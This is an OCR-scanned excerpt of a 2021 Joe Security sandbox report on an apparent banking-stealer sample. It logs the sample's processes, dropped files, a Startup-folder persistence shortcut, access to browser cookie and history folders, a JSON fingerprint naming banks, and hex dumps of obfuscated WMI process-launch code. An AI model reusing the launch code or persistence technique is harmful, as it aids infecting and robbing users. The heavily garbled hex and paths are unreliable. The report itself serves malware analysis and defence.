68 89 df 0f 68 a5 a7 9c
68 80 a7 9d 68 a9 a5
9c 68 13 ce 92 69 d1
a7 9c 68 13 ce 9f 69
81 a7 9c 68 13 ce 63
68 81 a7 9c 68 80 a7
Ob 68 82 a7 9c

Ascii

$DXAUPUObCVXGA =
WFzUIdrKAarEm

h("129$113%$97$77$120$97

$96$118

$86$123$119$121$128%$84

$128%$89"
,7).#NoTraylcon....Func
zpoFK

PJyvwDqgkfo($akJfF,$ARN
gA $QVUW,$icjrS)..Local

$ACIkghUNgPGcr

pWIOWA0ZGyJrVoNnfaBtl

JLfFnwFaP
yhBhXmDgVGwXT =
‘AoztigLvtsxml
aobmDGQZcCHkhUq

............ 1..L.IThis program

cannot be run in DOS

shedilhe

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

91D482 WriteFile

91D482 WriteFile
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File Path
C:\Users\user\AppData\Roaming\zPgFqFUsML\Veduto.vsd

C:\Users\user\AppData\Roaming\
zPgFgFUsSML\WWAYZgHgYEOdcYU.js

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\juROhmfLml.url

Copyright Joe Security LLC 2021

Offset

Length Value

unknown 339968 el 3c 88 38 9d 7e b0

unknown 284

unknown 2

8e b9 6a ee b5 ab dO
db 95 84 51 8d 8d 2d
ca dc 27 ec bf 5f 3b 6e
7b 8a 09 63 d5 e3 4f 4f
8c 8d 50 d6 38 3d 5b
5b 70 84 88 04 e3 7f
47 b7 7e a2 98 5e 06
2210eb 32 6d 87 14
Ob 1b 96 32 75 4a 19 ff
2e de 0e 33937173
€6 20 d3 ¢4 11 27 dO
c3f184611cb4a3
82 ba 55 7e 8b 28 57
1f 2e 5e e9 1le 06 8c
baec70e548c8el
d1 93 e7 44 34 5f 68
7e 6d 24 40 70 3d fc
69 d7 3d c9 9d bd 46
be 09 67 68 a5 bc 3d
2a9b 0d 04 11 8d a4
0d 0f c3 81 3a f9 58 80
5332 3a709aa9 4c
3153 a3d0 78 02 b5
a2 9833 c8ee afe3 fa
ee 15 22 cd d4 a0 9b
7357 5a 7454 c1 51
72 b5 2250 34 c0 a7
9e 9f 84 ef d5 a8 64 84
la 1f b6 03 0a 95 fO 2e
6f 09 b6 02 42 8¢ 73
bb 87 8f c2 al fa 92 bf
e4 917 f8 29 5b fa e4
8f bf 7f a5 e9 c7 fO Ob
fe f6 18 a8 d6 4a ea

47 65 74 4f 62 6a 65
63 74 28 22 77 69 6e
2220 2b 20 22 6d 67
6d 74 73 3a 5¢ 5¢c 5¢
5c 2e 5¢ 5¢ 72 6f 22
20 2b 20 22 6f 74 5¢
5¢ 63 69 22 20 2b 20
22 6d 76 32 3a 57 22
20 2b 20 22 69 6e 33
32 5f50 72 22 20 2b
20 22 6f 63 65 22 20
2b 202273732229
2e 4372 65 61 74 65
28 22 43 3a 5¢ 5¢ 55
73 65 72 73 5¢ 5¢ 65
6e 67 69 6e 65 65 72
5c 5c 417070 44 61
74 61 5¢c 5¢ 52 6f 61
6d 69 6e 67 5¢c 5¢c 7a
50 67 46 71 46 55 73
4d 4c 5c¢ 5¢ 6a 75 52 4f
68 6d 66 4c 6d 6¢ 2e
65 78 65 2e 63 6f 6d
20 43 3a 5¢c 5¢ 55 73
65 72 73 5¢ 5¢c 65 6e
67 69 6e 65 65 72 5¢
5c 417070446174
61 5¢ 5¢ 52 6f 61 6d
69 6e 67 5¢ 5¢ 7a 50
67 46 71 46 55 73 4d
4c 5¢c 5¢ 49 22 20 2¢
20 22 43 3a 5¢ 5¢ 55
7365 72 73 5¢ 5¢ 65
6e 67 69 6e 65 65 72
5c5¢ 4170 70 44 61
74 61 5¢ 5¢ 52 6f 61
6d 69

ff fe

Source

Ascii Completion
<8~ Qun{ success or wait 1
..c..00..P.8=[[p.....G.~.A.".
2m
a
_h~m$@p=.i =,
X.S2:p..L1S. x....3..
L SWZLT.Qr."P4....
0. Bisi ).
............. J.
GetObject("win" + success or wait 1

"mgmts:\\.\\ro" + "ot\\ci" +
"mv2:W" + "in32_Pr" +
"oce" + "ss").Creat
e("C:\\Users\\user\\AppDat
a\R
oaming\\zPgFgqFUsML\\JuR
OhmfLml.exe.com
C:\\Users\\user\\AppD
ata\\Roaming\\zPgFqFUs
ML\,
"C:\\Users\\user\\AppData\\
Roami

success or wait 1
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Count Address Symbol
91D482 WriteFile

91D482 WriteFile

91D482 WriteFile



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start unknown 176 5b 00 49 00 6e 00 74 [.l.n.t.e.r.n.e.t.S.h.o.r.t.c. success or wait 1 91D482 WriteFile
Menu\Programs\Startup\juROhmfLml.url 00650072006e 00 u.t]...U.RL=".C.:.\Us.
650074 00530068 e.r.s.\e.n.g.ine.er\Ap.
00 6f00 72007400 p.D.atal\R.o.am.i.n.g.\.z.
6300750074005d P.g.F.g.F.UsM.L\wA.Y.
000d 0002005500 Zg.
52004c003d 0022 H.g.Y.E.O.d.c.Y.U..js."
00 43 00 3a 00 5c 00
55 00 73 00 65 00 72
00 73 00 5c 00 65 00
6e 00 67 00 69 00 6e
00 65 00 65 00 72 00
5c 00 41 00 70 00 70
00 44 00 61 00 74 00
61 00 5c 00 52 00 6f
00 61 00 6d 00 69 00
6e 00 67 00 5¢c 00 7a
00 50 00 67 00 46 00
71 00 46 00 55 00 73
00 4d 00 4c 00 5c 00
77 00 41 00 59 00 5a
00 71 00 48 00 67 00
59 00 45 00 4f 00 64
00 63 00 59 00 55 00
2e 00 6a 00 73 00 22
00
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 16 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 4096 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65024 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 16 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 4096 end of file 1 8E9463 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 1 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 13 8B8492 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 1 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 end of file 1 8B8492 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Veduto.vsd unknown 65536 success or wait 6 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISY{DvrPPKg\D unknown 65536 success or wait 1 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\D unknown 65536 success or wait 15 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com unknown 65536 success or wait 15 8B8522 ReadFile
C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Veduto.vsd unknown 65536 success or wait 6 8B8522 ReadFile
Analysis Process: PING.EXE PID: 5044 Parent PID: 5720
General
Start time: 10:50:38
Start date: 08/04/2021
Path: C:\Windows\SysWOWG64\PING.EXE
Wow64 process (32bit): true
Commandline: ping 127.0.0.1 -n 30
Imagebase: 0x230000
File size: 18944 bytes
MDS5 hash: 70C24A306F768936563ABDADBI9CA9108
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol

Copyright Joe Security LLC 2021
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Analysis Process: wscript.exe PID: 5868 Parent PID: 3440

General

Start time: 10:50:49

Start date: 08/04/2021

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\zPgFqFUsML\WAYZ
gHgYEOdcYU.js'

Imagebase: 0x7ff7e13f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: juROhmfLml.exe.com PID: 6204 Parent PID: 4920
General
Start time: 10:50:51
Start date: 08/04/2021
Path: C:\Users\user\AppData\Roaming\zPgFgFUsML\juROhmfLml.exe.com
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Roaming\zPgFqFUsML\jJuROhmfLml.exe.com C:\Users\user\AppDat
a\Roaming\zPgFqFUsML\I
Imagebase: 0x220000
File size: 943784 bytes
MD5 hash: 78BA0653A340BAC5FF152B21A83626CC
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
[ File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 success or wait 16 259463 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 4096 end of file 1 259463 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65024 end of file 1 259463 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 success or wait 16 259463 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 4096 end of file 1 259463 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 success or wait 1 228522 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 success or wait 13 228492 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 success or wait 1 228522 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\I unknown 65536 end of file 1 228492 ReadFile
C:\Users\user\AppData\Roaming\zPgFqFUsML\Veduto.vsd unknown 65536 success or wait 6 228522 ReadFile
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https://www.metadefender.com/#!/results/file/bzIxMDMxNWdSQU1JMlo5N0Z2dW05bzlTSms/regular/analysis

Analysis Process: nslookup.exe PID: 6348 Parent PID: 5596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

10:51:03
08/04/2021
C:\Windows\SysWOW64\nslookup.exe

C:\Windows\SysWOW64\nslookup.exe

78336 bytes
8E82529D1475D67615ADCB4E1B8FAEEC
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: nslookup.exe PID: 6552 Parent PID: 6204
General
Start time: 10:51:18
Start date: 08/04/2021
Path: C:\Windows\SysWOW64\nslookup.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path Access

C:\Users\user read data or list
directory |

synchronize

read data or list
directory |
synchronize

C:\Users\user\AppData\Local

read data or list
directory |
synchronize

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

C:\Users\user read data or list
directory |

synchronize

Copyright Joe Security LLC 2021

Attributes

device

device

device

device

true

C:\Windows\SysWOW64\nslookup.exe
0x3f0000

78336 bytes
8E82529D1475D67615ADCB4E1B8FAEEC
true

true

C, C++ or other language

moderate

Source

Options Completion Count Address Symbol

directory file | object name collision 1 2815C82 HttpSendRequestW
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision 1 2815C82 HttpSendRequestW
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision 1 2815C82 HttpSendRequestW
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision 1 2815C82 HttpSendRequestW
synchronous io

non alert | open

for backup ident

| open reparse

point
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list device directory file | object name collision 1 2815C82 HttpSendRequestW
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Temp\chrB32.tmp read attributes | device synchronous io  success or wait 1 281289D GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\chrB32.tmp read attributes | device synchronous io  success or wait 3 2836B6A CreateFileW
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Temp\chrCF8.tmp read attributes | device synchronous io  success or wait 1 281289D GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\chrCF8.tmp read attributes | device synchronous io  success or wait 3 2836B6A CreateFileW
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Temp\chr1073.tmp read attributes | device synchronous io  success or wait 1 281289D GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\chr1073.tmp read attributes | device synchronous io  success or wait 3 2836B6A CreateFileW
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b read attributes | device synchronous io  success or wait 4 2836B6A CreateFileW
6b1968208dd49 synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Temp\chr2302.tmp read attributes | device synchronous io  success or wait 1 281289D GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\chr2302.tmp read attributes | device synchronous io  success or wait 3 2836B6A CreateFileW
synchronize | non alert | non
generic write directory file

File Deleted
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File Path

C:\Users\user\AppData\Local\Temp\chrB32.tmp
C:\Users\user\AppData\Local\Temp\chrB32.tmp
C:\Users\user\AppData\Local\Temp\chrCF8.tmp
C:\Users\user\AppData\Local\Temp\chrCF8.tmp
C:\Users\user\AppData\Local\Temp\chr1073.tmp
C:\Users\user\AppData\Local\Temp\chr1073.tmp

C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6b1968208dd49

C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6b1968208dd49

C:\Users\user\AppData\Local\Temp\chr2302.tmp
C:\Users\user\AppData\Local\Temp\chr2302.tmp

File Written
File Path Offset
C:\Users\user\AppData\Local\Temp\chrB32.tmp 0

Copyright Joe Security LLC 2021

Length Value

66 6f 72 6d 61 74 20
3300100001 0100
40 20 20 00 00 00 02
00 00 00 1d 00 00 00
00 00 00 00 00 00 00
00 16 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 05 00 00 00 01
0f fb 00 00 00 00 1c Of
fb 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Ascii

118784 5351 4c 69 74 6520 SQLite format 3.

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

...... @ ...... success or wait

Count

W P W Fr W RFEr W REr Wk

Source
Address Symbol

2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew
2822179 DeleteFilew

Source

Count Address Symbol

1

2811A02 CopyFileWw
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File Path
C:\Users\user\AppData\Local\Temp\chrB32.tmp

C:\Users\user\AppData\Local\Temp\chrCF8.tmp

C:\Users\user\AppData\Local\Temp\chr1073.tmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 118784 29 23 be 84 el 6¢ d6

unknown 44

unknown 4096

ae 52 90 49 f1 f1 bb

e9 eb b3 a6 db 3c 87
Oc 3e 99 24 5e 0d 1c
06 b7 47 de b3 12 4d
c8 43 bb 8b a6 1f 03
5a 7d 09 38 25 1f 5d
d4 cb fc 96 f5 45 3b

13 0d 89 0Oa 1c db ae
32209a50ee 4078
36 fd 12 49 32 6 9e

7d 49 dc ad 4f 14 f2

44 40 66 dO 6b c4 30
b7 32 3b al 22 f6 22
91 9d el 8b 1f da b0
ca 99 02 b9 72 9d 49
2c 80 7e ¢5 99 d5 e9
80 b2 ea c9 cc 53 bf

67 d6 bf 14 d6 7e 2d
dc 8e 66 83 ef 57 49

61 ff 69 8f 61 cd d1 1e

9d 9c 16 72 72 e6 1d
0 84 4f 4a 77 02 d7

e8392c 53 chc9 12
le 3374 9e Oc f4 d5
d4 of d4 a4 59 7e 35

cf 32 22 f4 cc cf d3 90

2d 48 d3 8f 75 e6 d9
1d 2ae5c0f72b 78
81 87 44 0Oe 5f 50 00
d4 61 8d be 7b 05 15
07 3b 3382 1f 18 70
92 da 64 54 ce bl 85
3e 69 15 f8 46 6a 04
96 73 Oe d9 16 2f 67
68 d4 f7 4a 4a d0 57
68

b2 49 0Oe 53 35 30 49
14 el a3d0 1d 2b cd
73 0f 08 67 58 87 67
2c 9d 3a ff 8d 40 45

4c a5 3c be d4 6f f5 8f

af 37 d6 84 46 4e 39
a2

e08062ac72e23d
56 fb f1 52 92 16 6e
ad 48 dd 9d d6 f4 ad

f6 af f9 2a 1d 9f 37 83
14 f0 df f8 b0 76 86 99 .MF.C....2W..

49 72 79 50 b6 b5 51
217809 c7 bl 36 cc
c9 05 6a de cd 8d 59
be 65 61 48 ef 13 ca
ed al 5f 04 24 8d 28
42 e32138f370dd
1b 44 d1 fd 30 e6 85
58 00 11 71 88 cf c9
1d 4b 71 60 20 29 5f
3c d9 57 0a da 60 dc

6f 13 bc f2 ec 9e 57 af

52 d7 af e4 3b be 4d
46 9e 43 fb cb a0 cl
3257 ad c8 d2 98 c8
1f 15 2e 1f 09 c6 10
e3 c8 ae 2b 56 60 50
4c 26 9d d6 3f f9 57
423949150973 72
30751809 laeb 61
70 5e f5 fe a7 c9 c0
b9 65 09 dO 56 68 b5
f2 bd 09 8e 72 5b 13
05 8f c5 d5 fd 2c 9e
76 d1 c8 bc 89 99 b0
86 el a9 73a0 a7 5b

97 cb a9 0f 8a 06 f5 6f
db f9 a7 8 aa 94 ff b6

5e f4 b7 4e 96 86 93
4261 6e3971bl2a
43 dd 0d 72 93 b1 87
63 e6 83 ee dd

Ascii Completion

LR <.>$N
G..M.C....Z}.8%.].....E;....
.2
.P.@x6..12.}I..0..D@f k.
0.2;." "~
...S.g...~.f.Wlaia....
ar....0Jw...9,S....3t. .
Y~5.2"....-H.u..*...+x.D._
P.a.{.;3..p..dT..>i.Fj.
.S.../gh..JJ.Wh

success or wait

.I.S50l.....+.s..gX.g,.:...@EL success or wait
.<..0...7..FN9.

Lbr=V.R.nH....... *.7..
L VryPLQIX...6...)...Y e
aH....._.$.(B.18.p..D..0..X..q
..Kg')_<W. 0....W.R..;

success or wait

Source

Count Address Symbol

8

8

8

282C1D3 WriteFile

282C1D3 WriteFile

282C1D3 WriteFile
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File Path
C:\Users\user\AppData\Local\Temp\chr1073.tmp

C:\Users\user\AppData\Local\Te
mp\4624a8e10d6df3306e1dd46223b6b1968208dd49

Copyright Joe Security LLC 2021

Offset
unknown 2866

unknown 4096

Length Value

96 a0 44 46 e4 cac4
01 3a 72 Oe 9e 32 58
2e 05 e7 c0 ac b2 b4
22 6a 07 3e 22 cfe7?
b4 c2 25 80 55 d7 40
68 33 ba 61 ec 37 3f
5a a5 66 eb f2 4c 62
61 8ace 34 1e 01 a3
48 66 d6 5¢c b9 7e 8¢
7cd0 1c 5389 ¢c7 1c
e4 63 d2 74 ad d4 60
6a 2e 67 9d 05 a3 7e
3ccle3 9f 75 86 88
0f 49 db 50 a2 0d 58
c3d12659 16 0d 12
fa 50 53 a8 3f ab 01
a0 92 3d e8 55 73 d7
a2 ca6b2e 25eb41
3899 16 71 d9 67 da
da bf 93 ff b7 8b 4b c6
d031cO71f2al34
06 9c a7 54 51 fb Of
c9 28 18 Oe Oa f3 51
dd 74 6b 06 a7 9c al
94 a5 e4 42 87 88 4c
1la0b 17 8b d8 a4 19
5f 11 1f 75 21 87 c9
98 9c aa de 17 1f 5f
4495d101 79 e8 45
a5chb 77 4e a3 c7 eb
1552 f3 f6 68 12 cO
a6 55 90 ba 9f f8 45
02 ce 91 40 fe 53 d9
26 4f 92 97 77 03 c7
6e 12 Oc 58 f9 fc f1 05
1a 5d c4 eb 8e cb 54
ea

7b 22 69 73 5f 69 6e
74 657265737469
6e 67 5f 63 6¢ 69 65
6e 74 22 3a 20 22 30
22 2¢ 22 63 6¢ 69 65
6e 74 5f 69 64 22 3a
2022 34 36 32 34 61
38 65 31 30 64 36 64
66 33 33 30 36 65 31
64 64 34 36 32 32 33
62 36 62 31 39 36 38
3230 38 64 64 34 39
22 2c 2277 69 6e 64
6f 77 73 5f 76 65 72
73 69 6f 6e 22 3a 20
22 4d 69 63 72 6f 73
6f 66 74 20 57 69 6e
64 6f 77 73 20 5b 56
65 72 73 69 6f 6e 20
3130 2e 30 2e 31 37
313334 2e 31 5d 22
2c 22 69 73 5f 78 36
3422 3a20223122
2c2262726f7773
657273223a207b
22 43 68 72 6f 6d 65
223a202230227d
2c 227572 6¢ 73 22
3a 20 7b 2235 33 2e
63 6f 6d 22 3a 20 22
3022 2¢ 22 53 63 68
6f 6f 6¢ 73 46 69 72
73 74 46 43 55 2e 6f
72 67 22 3a 20 22 30
222c22536f7574
68 6¢ 61 6e 64 43 55
2e 6f 72

%.U.@h3.a.7?
Z.f.Lba..4. Hf\

~].S...ctjg..~<..u.

sl P2l oo PS5

Q.tk.

N Xl T

. .._D..y.E.wN..
.R.h..U...E..@.S.&0..w.

Completion

success or wait

{"is_interesting_client": "0", success or wait

"client_id":
"4624a8e10d6df330

6e1dd46223b6b1968208dd

49" "windows_version":
"Microsoft Windows

[Version 10.0.17134.1]","i

s_x64": "1","browsers":
{"Chrome": "0"},"urls":
{"53.com": "

0","SchoolsFirstFCU.org":

"0","SouthlandCU.or

Source

Count Address Symbol

8

4

282C1D3 WriteFile

282C1D3 WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\4624a8e10d6df3306e1dd46223b6b1968208dd49

C:\Users\user\AppData\Local\Temp\chr2302.tmp

File Read

File Path

C:\Users\user\AppData\Local\Temp\chrB32.tmp

C:\Users\user\AppData\Local\Temp\chrCF8.tmp

C:\Users\user\AppData\Local\Temp\chrCF8.tmp

C:\Users\user\AppData\Local\Temp\chrCF8.tmp

C:\Users\user\AppData\Local\Temp\chr1073.tmp
Copyright Joe Security LLC 2021

Offset
unknown 1761

unknown 1920

Length Value

61 72 6d 2e 63 6f 6d
22 3a202230222c
22737461746573
7472 65657462 61
6e 6b 2e 63 6f 6d 22
3a 2022 30 22 2c 22
73746375 2e 6f 72
67 22 3a 20 22 30 22
2c 2273 74 6f 72 6d
67 61 69 6e 2e 63 6f
6d 22 3a 20 22 30 22
2c 227374726970
65 2e 63 6f 6d 22 3a
202230222c2273
75 6d 6d 69 74 63 72
65 64 69 74 75 6e 69
6f 6e 2e 63 6f 6d 20
22 3a202230222c
22 7375 6e 63 6f 61
7374 63 72 65 64 69
7475 6e 69 6f 6e 2e
63 6f 6d 22 3a 20 22
3022 2¢ 227375 6e
7472757374 2e 63
6f 6d 22 3a 20 22 30
222¢ 2273776170
70 61 2e 63 6f 6d 22
3a 20 22 30 22 2¢ 22
74 63 66 62 61 6e 6b
2e 63 6f 6d 22 3a 20
2230222c227464
2e 63 6f 6d 20 22 3a
202230222c2274
64 65 63 75 2e 6f 72
67 22 3a 20 22 30 22
2c 22 74 64 66 63 75
2e 6f 72

3e c7 20 a7 0d d8 b2
€6 b0 Oe ef cc 64 05
17 6¢c 7d 0a 54 15 a3
7d 93 d4 3a 79 91 39
22 b8 39 5e al b0 2d
26 9d 02 a3 c3 0f 15
72 7b b4 fe 6¢ ab 06
a4 ef Oc 6a 21 b7 35
ab 6b f6 61 a7 33 a7
73 48 0d 1f 37 b6 d2
e5ebcb 42 c3fec8
ee 1d 17 46 56 82 59
6f 4e 81 e6 6d a6 be
al 2309 45 39 1b 26
1d 63 c0 Oe 21 66 ce
dd Ob dd 06 9d d2 b8
26 67 36 85 18 cb 98
ee 6a 73 10 82 fe 02
ba b8 03 42 50 30 23
7ffe 3d fe 2e 71 al d8
d3 3297 8e 213217
cf 62 a6 55 88 19 14
8b a0 e6 ae f8 e6 ab
e0 28 48 ed 25 77 45
7d 1e d1 a5 57 e5 bb
67 ca 9f 97 fb d9 50
23ble2f444727d
cb 02 ae a7 f4 d3 95
203d 1c8al113af5
d4 f2 94 2d 97 ab a4
8d 03 f9 40 61 cc 14
d5 35 da 8f b6 dd 41
7f b4 b8 73 df ef 35
b5 33 ec 95 cf 6¢ e7
308 Oc 6a 82 51 8a
lel17clf8e2e741
e3la

Ascii

arm.com':
"0","statestreetbank.com":
"0","stcu.org": "0","st
ormgain.com":
"0","stripe.com™:
'summitcreditunion.co

"0","suncoastcreditunion.c
om": "0","suntrust.com":
"0","swappa.com":
"0","tcfbank.com™:
"0","td.com ":
"0","tdecu.org":
"0","tdfcu.or

&....r{.l...jt.5.ka
.3.sH..7.....B......FV.YON..
m...#.E9.&.c..If.

Offset Length
unknown 118784
unknown 1
unknown 4096
unknown 4096
unknown 4096

Completion

success or wait

dL} T}y 997 - success or wait

Completion
success or wait
success or wait
success or wait
end of file

success or wait

Source

Count Address Symbol

4

8

282C1D3 WriteFile

282C1D3 WriteFile

Source
Count Address Symbol
1 282D14C ReadFile

282D14C ReadFile
282D14C ReadFile
282D14C ReadFile
282D14C ReadFile
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Source

File Path Offset Length Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\chr1073.tmp unknown 4096 success or wait 1 282D14C ReadFile

C:\Users\user\AppData\Local\Temp\chr1073.tmp unknown 1 success or wait 1 282D14C ReadFile

C:\Users\user\AppData\Local\Temp\chr1073.tmp unknown 4096 success or wait 2 282D14C ReadFile

C:\Users\user\AppData\Local\Temp\chr1073.tmp unknown 4096 end of file 1 282D14C ReadFile

C:\Users\user\AppData\Local\Temp\chr2302.tmp unknown 4096 success or wait 1 282D14C ReadFile
Analysis Process: cmd.exe PID: 5192 Parent PID: 6552

General

Start time: 10:51:51

Start date: 08/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

cmd.exe /C ver > 'C:\Users\user\AppData\Local\Temp\chrCF8.tmp*

0x2a0000
232960 bytes

F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\chrCF8.tmp unknown 2 0d 0a success or wait 1 2B2837 WriteFile
C:\Users\user\AppData\Local\Temp\chrCF8.tmp unknown 40 4d 69 63 72 6f 73 6f 66 Microsoft Windows success or wait 1 2B2837 WriteFile
74 20 57 69 6e 64 6f 77 [Version 10.0.17134.1]
7320 5b 56 65 72 73
69 6f 6e 20 31 30 2e 30
2e 31373133342
31 5d
C:\Users\user\AppData\Local\Temp\chrCF8.tmp unknown 2 0d 0a success or wait 1 2B2837 WriteFile
Analysis Process: conhost.exe PID: 6048 Parent PID: 5192
General
Start time: 10:51:51
Start date: 08/04/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff61de10000
File size: 625664 bytes
MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
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Analysis Process: cmd.exe PID: 6308 Parent PID: 6552

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

10:51:52
08/04/2021
C:\Windows\SysWOW64\cmd.exe

true

cmd.exe /C wmic process get Name > 'C:\Users\user\AppData\Local\Temp\chr1073.tmp*

0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Source
